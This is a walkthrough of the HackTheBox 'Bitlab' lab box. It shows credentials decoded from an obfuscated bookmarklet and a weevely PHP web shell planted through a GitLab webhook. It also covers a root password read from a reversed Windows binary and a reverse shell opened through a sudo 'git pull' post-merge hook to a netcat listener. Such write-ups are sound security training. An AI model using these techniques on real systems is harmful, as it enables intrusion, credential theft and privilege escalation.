HackTheBox - Bitlab
Bitlab box was an interesting box, user part was typical real-life scenario (actually meet this scenario during multiple pentests) while the root part was my first time Reverse Engineering.
Tl;Dr: The user part needed you access a Gitlab instance by using credentials leaked by one of the developer. From here you could merge a web-shell that is automatically pulled on the server by a merge_request
webhook. Still from the Gitlab instance you find a piece of code with database credentials. With the web-shell as www-data
you can pivot to clave
user using his password found in the database and get the flag.
The root part was reverse engineering of an Windows binary to extract the root
account password needed to grab the flag.
Alright! Let’s get into the details now!
First we add the box ip to our host file and let’s start!
1 | [hg8@archbook ~]$ echo "10.10.10.114 bitlab.htb" >> /etc/hosts |
User flag.
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | nmap -sV -sT -sC bitlab.htb |
We have a classical web app running on port 443 and the ssh port 22 open.
Opening http://bitlab.htb
display the following a gitlab instance :
Using gobuster
to brute force for interesting directories and files won’t be useful here since all urls return a redirect to the login page. We will do the old fashioned way of manual browsing. I will be quick since there is only three links accessible from the main page:
Explore
page is empty.Help
show a directory listing for documentation.bookmarks.html
page display what looks like the exported browser bookmarks of the developer.
The Gitlab - Sign In
bookmark looks usual:
1 | <DT><A HREF="javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A> |
The bookmark is not a classic url but javascript script. This is a useful trick that allow you to run javascript on a given website just by clicking on the bookmark icon.
Since the js is obfuscated a little let’s open the Gitlab login page and run it onto the console to see what happen :
The js script is automatically filling the login form with username clave
and a password. While checking network we can see that the password is 11des0081x
.
So we have access to one developer Gitlab account. Out of curiosity I tried to SSH with those credentials but without surprise, it didn’t worked. Let’s move on.
We have access to two repositories :
- Deployer
- Profile
Seeing by the name we can guess that deployer
will be a kind of script to automatically deploy application to the web server. Let’s try to understand the inner working better:
deployer
repository hold a single index.php
file. The README file explain that it’s a webhook. Reading through the documentation of gitlab we can understand that a webhook is a function that will call a given url when a event occur on the repository:
Project webhooks allow you to trigger a URL if for example new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. GitLab will send a POST request with data to the webhook URL.
In our case here, we can guess that the repository is configured to make a call to http://bitlab.htb/deployer/index.php
when a action is made on the repository (can be commit, merge, pull request, etc…).
Let’s take a look at the index.php
to understand what action is made once it’s called :
1 |
|
This a rather simple script. Judging from the if
condition we understand that the script will change directory to ../profile/
and then make a git pull
to get the latest changes on every merged merge request.
It’s our luck, because we have control over the profile
repository which is available through the Gitlab instance. That means that if we merge a file though a merge_request
to the profile
repository, the said file will automatically be pulled on the server by the deployer/index.php
webhook. That’s the perfect scenario for a web-shell don’t you think? :)
Web-shell as www-data
Through this Gitlab interface we can add a new file to the profile
repository, it will be faster than cloning.
I used weevely
to generate a php web-shell:
1 | [hg8@archbook ~]$ python weevely.py generate xxxxxxxx hg8.php |
After committing our new file to the repository we start a merge request and merge it ourselves since we have enough permissions to do so.
Our web-shell is now in the profile
repository:
If the web-hook worked properly our web shell file should already be on the server, let’s try it out :
1 | [hg8@archbook ~]$ python weevely.py http://bitlab.htb/profile/hg8.php htbpassword |
We are in as user www-data
.
Pivot www-data -> clave user
Let’s do some recon to get the user flag :
1 | www-data@bitlab:/ $ ls /home |
The user is clave
as well.
After a bit of recon, it seems that nothing helpful seems to be accessible from www-data
user. When nothing can be found, a good strategy is to go back at the beginning to make sure we didn’t forgot anything. Let’s go back to our starting point : Gitlab.
After searching around and digging a bit more we can find a “Snippet” page under each users profile. On the Developer profile there is a Postgresql
snippet with hard-coded credentials:
1 |
|
Let’s try to dig into the database for useful informations:
1 | www-data@bitlab:/ $ psql profiles profiles |
Since psql
is not installed, let’s use the postgresql PHP library. I tweaked the snippet a little to obtain the following scrip :
1 |
|
Running the php script output only one user, clave
again and what looks like a base64
encoded password:
1 | www-data@bitlab:/tmp $ php test.php |
Decoding the password gives the following:
1 | [hg8@archbook ~]$ echo "c3NoLXN0cjBuZy1wQHNz==" | base64 -di |
Awesome, we got the ssh password for user clave
let’s go for the user flag:
1 | [hg8@archbook ~]$ ssh [email protected] |
Permission denied
that’s disappointing and strange. The database entry clearly state the user is clave
(we saw previously that no other user are present on the box). The password itself state ssh… Could it be that it was simply the clear-text password…?
1 | [hg8@archbook ~]$ ssh [email protected] |
That was it, it was easy to loose time on this one but the password was c3NoLXN0cjBuZy1wQHNz==
without decoding.
Time to move to root.
Root Flag
Recon
The recon part was quite quick, a Windows executable named RemoteConnection.exe
was present on the home folder.
Got a little surprised seeing this in a Linux box but why not after all. It was my first time reverse engineering so it took me a bit of time to gather the right tools and understand how this binary was working.
Let’s pull it and start the analysis:
1 | [hg8@archbook ~]$ scp [email protected]:~/RemoteConnection.exe . |
Reverse engineering of RemoteConnection.exe
Oddly enough I was able to make it work on any of my virtual machines. Tried Windows 7, 10, x32, x64 everything.
Every time I got the following error message:
EXCEPTION_ACCESS_VIOLATION
Ntdll - Inaccesible Address
So if anyone have any idea where this come from and how to fix please leave a comment.
Anyway, I managed to borrow a Windows computer just to finish this box.
The executable is 32-bit, running it display the following:
1 | PS C:\Users\hg8\> .\RemoteConnection.exe |
Strings
Running strings
on the file doesn’t output a lot of valuable informations:
1 | $ strings RemoteConnection.exe |
We can see GetUserNameW
what might be used to retrieve the current Windows session username and ShellExecuteW
which is a function to run external command.
To get more information out of it I will use a debugger. This way maybe we can pull more valuable informations during runtime by reading the memory or even patching the binary to bypass the check leading to Access Denied
.
Debugging
I will use x32dbg
since it’s free and open-source.
After opening our binary we forward run once to arrive to the RemoteConnection.exe
entry point:
Now let’s extract the referenced strings using the function provided by x32dbg:
This is starting to get a bit more interesting. We have a reference to our previous user clave
and a reference to putty.exe
. Putty is a Windows terminal emulator often used to connect to server through SSH.
If I could guess so far, the program check using GetUserNameW
if the current user is clave
and if so it will launch putty.exe
using ShellExecuteW
to automatically connect to, probably, the root account on Bitlab server. Unfortunately there is still no passwords in those referenced strings.
Let’s continue digging to see if we can either:
- Reverse the algorithm used to obfuscate the password.
- Patch the binary to launch putty even if the connected user is not
clave
. - Read some other interesting strings from memory.
To start off let’s double-click the L"clave"
to see where it’s reference:
Ok so looks like we are on the right track, we have a compare to the clave
strings if the comparaison fail we jump to what is probably the Access Denied !!
error message, while if the comparaison return true the function continue to the call of putty.exe
.
Breaking
Let’s put a breakpoint on the clave
cmp
line to see what’s going on it memory. To do so click the grey circle on the left of the line to turn it red. Then let’s forward once:
Bingo! Even at the moment of comparing the user the eax
already contains the full command passed to Putty.
Let’s use the those credentials to login to the root account using SSH:
1 | $ ssh [email protected] |
“Unintended” way to root
While having a shell as www-data
we notice an unusual sudo
configuration:
1 | www-data@bitlab:/$ sudo -l |
This is used to automatically deploy projects to the server. The sudo is probably used to pull file where even if the permissions does not match.
The Git documentation point an interesting fact about git pull
:
In its default mode,
git pull
is shorthand forgit fetch
followed bygit merge FETCH_HEAD
.
That mean we have a git merge
run as root. We can probably leverage this with a hook to achieve remote code execution as root
. As a reminder:
Hooks are programs you can place in a hooks directory to trigger actions at certain points in git’s execution.
We are going to use a post-merge
hook since it’s going to be executed whenever a git pull
is executed.
Unfortunately neither profile
nor deployer
project can be directly written as www-data
. That’s not really a problem since we can simply copy the project to the /tmp/
folder for example and be able to work on it:
1 | www-data@bitlab:/$ cp -r /var/www/html/profile /tmp/.hg8 |
Let’s try to open a reverse shell as root
using that hook. First let’s create our reverse shell file:
1 | www-data@bitlab:/$ cat post-merge |
Then we open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Next step is to make a sudo /usr/bin/git pull
to have our hook and reverse shell executed:
1 | www-data@bitlab:/tmp/.hg8/profile$ sudo /usr/bin/git pull |
Ah yes, there is no change to the project, let’s quickly go back to the Gitlab interface and commit a dummy file to profile
project, then let’s git pull
again:
1 | www-data@bitlab:/tmp/.hg8/profile$ sudo /usr/bin/git pull |
And we get a new connection on our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
As always do not hesitate to contact me for any questions or feedback.
See you next time !
-hg8